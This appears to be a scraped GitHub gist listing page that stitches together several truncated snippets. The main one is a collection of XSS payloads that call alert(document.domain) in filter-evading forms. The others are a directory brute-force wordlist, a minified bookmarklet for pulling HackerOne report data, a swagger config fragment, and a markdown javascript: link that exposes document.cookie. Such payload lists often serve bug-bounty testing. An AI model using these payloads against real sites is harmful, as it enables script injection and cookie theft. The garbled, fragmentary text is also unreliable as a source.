Skip to content

Instantly share code, notes, and snippets.

@Jinone
Jinone / alert.js
Last active June 1, 2024 15:07 — forked from tomnomnom/alert.js
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
01
02
about
acc
account
accounting
action
active
adm
admin
@Jinone
Jinone / hackeronereport.js
Last active March 29, 2021 16:32
Generate vulnerability submission data reports for specified months
(function(){var time=prompt("Input month,e.g 2020-01");var csrftoken=document.getElementsByName("csrf-token")[0].content;var xhr=new XMLHttpRequest();xhr.onreadystatechange=function(){if(this.readyState==4&&this.status==200){var json=this.responseText;displaySearchResults(json)}};xhr.open("POST","/bugs.json?subject=user&report_id=0&view=custom&substates%5B%5D=new&substates%5B%5D=needs-more-info&substates%5B%5D=triaged&substates%5B%5D=pre-submission&substates%5B%5D=duplicate&substates%5B%5D=informative&substates%5B%5D=not-applicable&substates%5B%5D=resolved&substates%5B%5D=spam&reported_to_team=&text_query=&program_states%5B%5D=2&program_states%5B%5D=3&program_states%5B%5D=4&program_states%5B%5D=5&sort_type=latest_activity&sort_direction=descending&limit=1000&page=1");xhr.setRequestHeader("X-CSRF-Token",csrftoken);xhr.send();function displaySearchResults(json){var jsondata=JSON.parse(json);var report=new Array();var rating=new Array();var content='<link rel="stylesheet"href="https://cdn.jsdelivr.net/npm/bootst
{"apisSorter":"alpha","jsonEditor":false,"showRequestHeaders":false,"deepLinking":true,"displayOperationId":false,"defaultModelsExpandDepth":1,"defaultModelExpandDepth":1,"defaultModelRendering":"example","displayRequestDuration":false,"docExpansion":"none","filter":false,"operationsSorter":"alpha","showExtensions":false,"tagsSorter":"alpha"}
001
002
003
004
005
01
02
03
04
05
{"swagger":"2.0","info":{"description":"
[Click Here][1]
[1]:javascript:alert(document.domain);alert(document.cookie);